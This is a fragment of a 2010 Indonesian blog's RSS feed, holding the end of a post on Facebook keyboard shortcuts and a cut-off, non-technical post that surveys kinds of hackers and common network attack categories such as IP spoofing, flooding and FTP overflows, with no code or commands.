&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;shift + alt + 1 = home&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;
shift + alt + 2 = profile&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;
shift + alt + 3 = permintaan pertemanan&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;
shift + alt + 4 = pesan&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;
shift + alt + 5 = pemberitahuan&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;
shift + alt + 6 = edit account&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;
shift + alt + 7 = settings privasi&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;
shift + alt + 8 = penggemar facebook&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;
shift + alt + 9 = statement of rights and responsibilities&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;
shift + alt + 0= pusat bantuan&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-3963218106072236482?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/SixpTRmc16M" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/SixpTRmc16M/tombol-rahasia-untuk-facebook.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://2.bp.blogspot.com/_xxdfU1yNW68/TGAynxB8qmI/AAAAAAAAAYI/hak_jideN20/s72-c/facebook-03.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/08/tombol-rahasia-untuk-facebook.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-954652174176012478</guid><pubDate>Mon, 09 Aug 2010 15:55:00 +0000</pubDate><atom:updated>2010-08-09T09:23:48.018-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cyber law</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">hacking</category><title>Cara dan Jenis Hacker Menyerang Situs</title><description>&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;Cara dan Jenis Hacker Menyerang Situs&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_xxdfU1yNW68/TGArYpU1NDI/AAAAAAAAAYA/FlFOR7p1588/s1600/hacked_logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TGArYpU1NDI/AAAAAAAAAYA/FlFOR7p1588/s320/hacked_logo.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: blue;"&gt;Intrusion&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Pada jenis serangan ini seorang cracker (umumnya sudah level hacker) akan dapat&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;menggunakan sistem komputer server. Serangan ini lebih terfokus pada full access granted&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;dan tidak bertujuan merusak. Jenis serangan ini pula yg diterapkan oleh para hacker untuk&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;menguji keamanan sistem jaringan mereka. Dilakukan dalam beberapa tahap dan tidak dalam&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;skema kerja spesifik pada setiap serangannya (dijelaskan pada artikel lain).&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Hacking is an Art!? =)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="color: blue; font-size: small;"&gt;&lt;b&gt;Denial of Services (DoS)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Penyerangan pada jenis DoS mengakibatkan layanan server mengalami stuck karena kebanjiran&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;request oleh mesin penyerang. Pada contoh kasus Distributed Denial of Services (DDoS)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;misalnya; dengan menggunakan mesin-mesin zombie, sang penyerang akan melakukan packeting&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;request pada server secara serentak asimetris dan simultan sehingga buffer server akan&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;kelabakan menjawabnya!? Stuck/hung akan menimpa server. Jadi bukan server lagi namanya!?&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;(servicenya mati masak dibilang server? hehehe….)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: blue;"&gt;Joyrider&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Nah, ini namanya serangan iseng!? Karena kebanyakan baca novel-novel hacking dan gak bisa&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;belajar benar, isenglah jadinya nyoba-nyoba nyerang pake ilmu-ilmu instan super cepat&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;(istilahnya ‘onani’ dimesin orang). Atau dengan alasan pengen tau isinya mesin orang!? =).&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Yang jelas serangan jenis ini rata-rata karena rasa ingin tau, tapi ada juga yang sampe&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;menyebabkan kerusakan atau kehilangan data.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: blue;"&gt;Vandal&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Jenis serangan spesialis pengrusak!? nothing else to explain mbah!? =)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="color: blue; font-size: small;"&gt;&lt;b&gt;Scorekeeper&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Serangan yang bertujuan mencapai reputasi hasil cracking terbanyak. Biasanya hanya&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;berbentuk deface halaman web (index/nambah halaman) dengan memampangakan NickName dan&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;kelompok tertentu. Sebagian besar masih tidak perduli dengan isi mesin sasarannya =).&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Saat ini jenis penyerang ini lebih dikenal dengan sebutan WannaBe/Script kiddies.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: blue;"&gt;Spy&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Tiga hurup saja. Jenis serangan untuk memperoleh data atau informasi rahasia dari mesin&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;target. Biasanya menyerang pada mesin-mesin dengan aplikasi database didalamnya. Kadang&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;kala suatu perusahaan menyewa ‘mata-mata’ untuk mencuri data perusahaan rivalnya&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;1. IP Spoofing&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP attacker sehingga&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;sasaran menganggap alamat IP attacker adalah alamat IP dari host di dalam network bukan dari luar&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx ketika attacker melakukan&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;serangan jenis ini maka Network yang diserang akan menganggap IP attacker adalah bagian dari&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Networknya misal 192.xx.xx.xx yaitu IP type C. IP Spoofing terjadi ketika seorang attacker &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;routing biasanya di transmisikan secara transparan dan jelas sehingga membuat attacker dengan mudah&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh attacker&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para attacker.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;2. FTP Attack&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;mendapatkan command shell ataupun untuk melakukan Denial Of Service.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk mengambil&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;attacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang attacker bisa&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;diserang.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Tidak pernah atau jarang mengupdate versi server dan mempatchnya adalah kesalahan yang sering&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;dilakukan oleh seorang admin dan inilah yang membuat server FTP menjadi rawan untuk dimasuki.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Sebagai contoh adalah FTP server yang populer di keluarga UNIX yaitu WU-FTPD yang selalu di&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;upgrade dua kali dalam sehari untuk memperbaiki kondisi yang mengizinkan terjadinya bufferoverflow&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Mengexploitasi FTP juga berguna untuk mengetahui password yang terdapat dalam sistem, FTP Bounce&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;attack(menggunakan server ftp orang lain untuk melakukan serangan), dan mengetahui atau mensniff&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;informasi yang berada dalam sistem.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;
3. Unix Finger Exploits&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Pada masa awal internet, Unix OS finger utility digunakan secara efficient untuk men sharing informasi&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang attacker utility ini sangat berharga untuk&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;melakukan informasi tentang footprinting, termasuk nama login dan informasi contact. Utility ini juga&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;dalam sistem dan seberapa jauh user merawat sistem.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha cracker dalam menembus sebuah&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;memanfaatkan user agar â€˜memberitahuâ€™ password dan kode akses terhadap system.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;
4. Flooding &amp;amp; Broadcasting&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Seorang attacker bisa menguarangi kecepatan network dan host-host yang berada di dalamnya secara&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;significant dengan cara terus melakukan request/permintaan terhadap suatu informasi dari sever yang bisa&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;menangani serangan classic Denial Of Service(Dos), mengirim request ke satu port secara berlebihan&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;dinamakan flooding, kadang hal ini juga disebut spraying. Ketika permintaan flood ini dikirim ke semua&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;station yang berada dalam network serangan ini dinamakn broadcasting. Tujuan dari kedua serangan ini&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;adalah sama yaitu membuat network resource yang menyediakan informasi menjadi lemah dan akhirnya&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;menyerah.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;volume). Seorang attacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;5. Fragmented Packet Attacks&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;mengandung paket pertama yang isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;firewall akan mengizinkan untuk memroses bagian dari paket-paket yang tidak mengandung informasi&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet) cukup untuk&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;menulis ulang informasi paket pertama dari suatu protokol.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;&lt;br /&gt;
6. E-mail Exploits&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;(malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function).&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;7. DNS and BIND Vulnerabilities&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;(BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: small;"&gt;yang diarahkan pada operasi dasar dari Internet (basic internet operation).&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Arial,Helvetica,sans-serif; text-align: justify;"&gt;&lt;span style="font-size: 